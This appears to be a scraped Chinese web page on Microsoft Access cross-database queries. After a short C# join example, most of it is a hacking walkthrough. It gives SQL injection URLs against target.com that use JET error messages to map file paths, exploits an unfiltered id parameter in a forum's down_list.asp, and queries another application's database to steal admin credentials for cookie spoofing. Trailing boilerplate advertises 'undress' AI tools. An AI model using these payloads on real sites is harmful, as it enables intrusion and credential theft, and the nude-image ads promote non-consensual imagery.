跨库查询一定需要绝对路径吗
找到一点关于不要 绝对 路径 的东西,希望讨论一下! ACCESS的跨库是通过中括号实现的,包括 路径 ,密码设置等;跨库的前提是已经打开了一个Connection。 问题说明: 有时 需要 在两个或三个数据库的表中,通过相关关键字, 查询 获取所需记录集,用一般的SQL
找到一点关于不要绝对路径的东西,希望讨论一下!
ACCESS的跨库是通过中括号实现的,包括路径,密码设置等;跨库的前提是已经打开了一个Connection。
问题说明: 有时需要在两个或三个数据库的表中,通过相关关键字,查询获取所需记录集,用一般的SQL查询语句是实现不了的,可通过ACCESS的跨库查询功能实现。
解决方法: 例如"admin"和"rain"两张表是在不同的数据库中的,具体查询方法,如下:
@"Select * from admin as a INNER JOIN [;database=" + AppDomain.CurrentDomain.BaseDirectory + "rain.zc].rain as b
ON a.BH=b.LXBH"
SUPERHEI的那个还不是先暴库得到绝对路径,再跨库的, 和讨论的有点区别啊
这个跨库,好象需要两个库在同一目录就可以了 看到这个题目各位大虾小虾先别急着找东西砸我,的确现在跨库查询的资料随便找找都可以找到一大堆,不像以前那样想看点资料还得对着一大堆E文敲脑袋。今天我要说的是我前一段时间发现的一个跨库查询的一个新玩法,大家可要仔细听哦。
照例先介绍一下,在大概一个月前幻影旅团和灰色轨迹对这个问题进行了一些讨论就是在递交:
http://www.target.com/show.asp?id=1 or 0(select count(*) from admin.c)
会出现如下的错误提示:
Microsoft JET Database Engine 错误 '80004005'
找不到文件 'C:\WINNT\system32\admin.mdb'。
看到了吧,如果看过xhacker写的那份学习报告的人肯定就已经兴奋起来了,因为那份报告隐约提到了ACCESS的一个漏洞可以Dir C:\ /s!让我们继续玩下去吧,递交:
http://www.target.com/show.asp?id=1 or 0(select count(*) from c:\boot.ini)
返回:
Microsoft JET Database Engine 错误 '80004005'
找不到文件 'c:\boot.mdb'。
看样子from后面的部分我们是可以添加路径的了。既然想Dir当然就要访问了cmd.exe拉,再来:
http://www.target.com/show.asp?id=1 or 0(select count(*) from c:\winnt\system32\cmd.exe.c)
看看错误提示吧:
Microsoft JET Database Engine 错误 '80004005'
不可识别的数据库格式 'c:\winnt\system32\CMD.EXE'。
看样子我们的希望落空了哦(多次实践后你可以得到from后面跟的文件名的格式应该是这样:文件名.后缀名.任何字母,这样你才可以访问到文件名.后缀名的那个文件)。这个时候这个漏洞好象我们至多只可以确定一个目录或一个文件是否存在,当时我和很多人的想法一样认为这属于鸡肋级的漏洞,食之无味,弃之可惜。
后来在一天在帮一个朋友检测论坛安全性,看了看是用的雅艺论坛。首先我试了一下默认的数据库名。提交:
http://www.target.com/yabbs/data/1yabbs.asp,没有提示找不到文件,看样子是没改数据库名了。但是由于扩展名是.asp,我们仍然无法下载他的数据库。没办法,只好到硬盘去翻了半天把我原来下载的一套雅艺论坛拿出来看代码。结果还真发现了一个激动人心的地方,在论坛自带的下载插件的down_list.asp这个文件发现这样的一段代码:
if request("id")="" then
response.write "您没有选择相关软件,请返回"
response.end
end if
set rs=server.createobject("adodb.recordset")
sql="select
Dclass.class,DNclass.Nclass,download.showname,download.classid,download.Nclassid,download.lasthits,download.down
show from download,Dclass,DNclass where download.classid=Dclass.classid and download.Nclassid=DNclass.Nclassid
and download.ID="&request("id")
看见没有,&request("id")这个变量没做任何过滤就代如到查询语句中去了,我们可以进行SQL注入!说的容易,在做的时候却碰到了困难,递交如下URL:
(select%20count(*)%20from%20admin">http://www.target.com/yabbs/down_list.asp?id=1%20or%200(select%20count(*)%20from%20admin)
成功返回页面,OK,存在admin表。再来确定保存用户名的列名:
(select%20count(*)%20from%20admin">http://www.target.com/yabbs/down_list.asp?id=1%20or%200(select%20count(*)%20from%20admin where username)
也成功了,保存用户名的列为username,再来看密码列:
(select%20count(*)%20from%20admin">http://www.target.com/yabbs/down_list.asp?id=1%20or%200(select%20count(*)%20from%20admin where password)
出错了,没关系早有准备,再试。最后几乎把我可以想到的列名全试了个遍,既然没一个对的,这下轮到我郁闷了,问了问那个朋友对数据库做了处理没有,得到的回答是没有。那就打开他默认的数据库吧,DATA目录下有两个数据库,一个是1yabbs.asp(论坛用),一个是 download.asp(下载系统用),打开一看,里面竟然根本没有密码列!看样子又没的玩了,后来在和MM闲扯的时候突然想到了利用方法(别说我和 MM聊天不专心啊:)。在SQL注入的时候我们有时会用到这样语句"admin.id"其中admin是表名,id是列名。那么我们可不可以结合前一段时间讨论的那个鸡肋漏洞呢,既然想到了,那就要动手实践一下才行,用开始说的方法,先来找WEB目录:
(select%20count(*)%20from%20c:\web\w.c.c">http://www.target.com/yabbs/down_list.asp?id=1%20or%200(select%20count(*)%20from%20c:\web\w.c.c)
返回如下信息:
Microsoft JET Database Engine 错误 '80004005'
'c:\web\w.c'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。
/yabbs/down_list.asp,行37
目录猜错了,再来:
(select%20count(*)%20from%20d:\web\w.c.c">http://www.target.com/yabbs/down_list.asp?id=1%20or%200(select%20count(*)%20from%20d:\web\w.c.c)
这次提示就变了:
Microsoft VBscript 编译器错误 错误'8000a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft JET Database Engine 错误 '80004005'
找不到文件'd:\web\w.c'。
/yabbs/down_list.asp,行37
这次提示找不到文件哦,呵呵,知道WEB目录就容易了大胆的猜吧。再次递交:
(select%20count(*)%20from%">http://www.target.com/yabbs/down_list.asp?id=1%20or%200(select%20count(*)%20from%20d:\web\yabbs\datayabbs.asp.c)
这次OK,直接猜到了具体的路径,提示却正巧和我的想法一样,真是#$#$@(此时兴奋的晕过去10秒......)
返回的信息为:
Microsoft VBscript 编译器错误 错误'8000a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft JET Database Engine 错误 '80040e37'
Microsoft Jet 数据库引擎找不到输入表或查询 'c'。 确定它是否存在,以及它的名称的拼写是否正确。
好了,现在一切都将变的简单化了,递交查询语句确定表和列名。
(select%20count(*)%20from%">(select%20count(*)%20from%">http://www.target.com/yabbs/down_list.asp?id=1%20or%200(select%20count(*)%20from%20d:\web\yabbs\datayabbs.asp.admin%20where%20username)
成功显示,说明在1yabbs.asp这个数据库中存在admin表和username列。再来查询ID值,递交如下URL:
(select%20count(*)%20from%">http://www.target.com/yabbs/down_list.asp?id=1%20or%200(select%20count(*)%20from%20d:\web\yabbs\datayabbs.asp.admin%20where%20id=1)
页面成功显示,现在不用我多说什么了吧,大家都会的,下面的部分就看大家的了。
回顾一下上面的分析过程我们可以干些什么呢?在面对一个大型站点,你知道他的数据库名(例如利用我上次写的那篇动网爆库漏洞的文章中提到的内容,得到了动网论坛的数据库名,但是他的数据库又不可以下载,而那套程序又没有其他已知的注入漏洞。)我们可以试试利用那个站里其他程序存在的SQL注入漏洞来进行跨库查询,先猜WEB路径,再进行跨库查询,从而得到动网论坛的密码,再进行COOKIE欺骗,就可以拿到前台权限了。利用的地方很多,大家可以自己去摸索一下,毕竟要把别人的技术变成自己的就要好好拓展别人的思路来研究。

Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

Video Face Swap
Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Hot Tools

Notepad++7.3.1
Easy-to-use and free code editor

SublimeText3 Chinese version
Chinese version, very easy to use

Zend Studio 13.0.1
Powerful PHP integrated development environment

Dreamweaver CS6
Visual web development tools

SublimeText3 Mac version
God-level code editing software (SublimeText3)

Hot Topics



Download the latest version of 12306 ticket booking app. It is a travel ticket purchasing software that everyone is very satisfied with. It is very convenient to go wherever you want. There are many ticket sources provided in the software. You only need to pass real-name authentication to purchase tickets online. All users You can easily buy travel tickets and air tickets and enjoy different discounts. You can also start booking reservations in advance to grab tickets. You can book hotels or special car transfers. With it, you can go where you want to go and buy tickets with one click. Traveling is simpler and more convenient, making everyone's travel experience more comfortable. Now the editor details it online Provides 12306 users with a way to view historical ticket purchase records. 1. Open Railway 12306, click My in the lower right corner, and click My Order 2. Click Paid on the order page. 3. On the paid page

How to check my academic qualifications on Xuexin.com? You can check your academic qualifications on Xuexin.com, but many users don’t know how to check their academic qualifications on Xuexin.com. Next, the editor brings you a graphic tutorial on how to check your academic qualifications on Xuexin.com. Interested users come and take a look! Xuexin.com usage tutorial: How to check your academic qualifications on Xuexin.com 1. Xuexin.com entrance: https://www.chsi.com.cn/ 2. Website query: Step 1: Click on the Xuexin.com address above to enter the homepage Click [Education Query]; Step 2: On the latest webpage, click [Query] as shown by the arrow in the figure below; Step 3: Then click [Login Academic Credit File] on the new page; Step 4: On the login page Enter the information and click [Login];

What is the difference in the "My Computer" path in Win11? Quick way to find it! As the Windows system is constantly updated, the latest Windows 11 system also brings some new changes and functions. One of the common problems is that users cannot find the path to "My Computer" in Win11 system. This was usually a simple operation in previous Windows systems. This article will introduce how the paths of "My Computer" are different in Win11 system, and how to quickly find them. In Windows1

MySQL and PL/SQL are two different database management systems, representing the characteristics of relational databases and procedural languages respectively. This article will compare the similarities and differences between MySQL and PL/SQL, with specific code examples to illustrate. MySQL is a popular relational database management system that uses Structured Query Language (SQL) to manage and operate databases. PL/SQL is a procedural language unique to Oracle database and is used to write database objects such as stored procedures, triggers and functions. same

The Linux kernel is an open source operating system kernel whose source code is stored in a dedicated code repository. In this article, we will analyze the storage path of the Linux kernel source code in detail, and use specific code examples to help readers better understand. 1. Linux kernel source code storage path The Linux kernel source code is stored in a Git repository called linux, which is hosted at [https://github.com/torvalds/linux](http

If you want to check the activation date using an Apple mobile phone, the best way is to check it through the serial number in the mobile phone. You can also check it by visiting Apple's official website, connecting it to a computer, and downloading third-party software to check it. How to check the activation date of Apple mobile phone Answer: Serial number query, Apple official website query, computer query, third-party software query 1. The best way for users is to know the serial number of their mobile phone. You can see the serial number by opening Settings, General, About This Machine. . 2. Using the serial number, you can not only know the activation date of your mobile phone, but also check the mobile phone version, mobile phone origin, mobile phone factory date, etc. 3. Users visit Apple's official website to find technical support, find the service and repair column at the bottom of the page, and check the iPhone activation information there. 4. User

In Linux systems, RPM (RedHatPackageManager) is a common software package management tool used to install, upgrade and delete software packages. Sometimes we need to find the storage path of an installed RPM file for search or other operations. The following will introduce how to find the storage path of the RPM file in the Linux system, and provide specific code examples. First, we can use the rpm command to find the installed RPM package and its storage path. Open

Title: How to use Oracle to query whether a table is locked? In Oracle database, table lock means that when a transaction is performing a write operation on the table, other transactions will be blocked when they want to perform write operations on the table or make structural changes to the table (such as adding columns, deleting rows, etc.). In the actual development process, we often need to query whether the table is locked in order to better troubleshoot and deal with related problems. This article will introduce how to use Oracle statements to query whether a table is locked, and give specific code examples. To check whether the table is locked, we
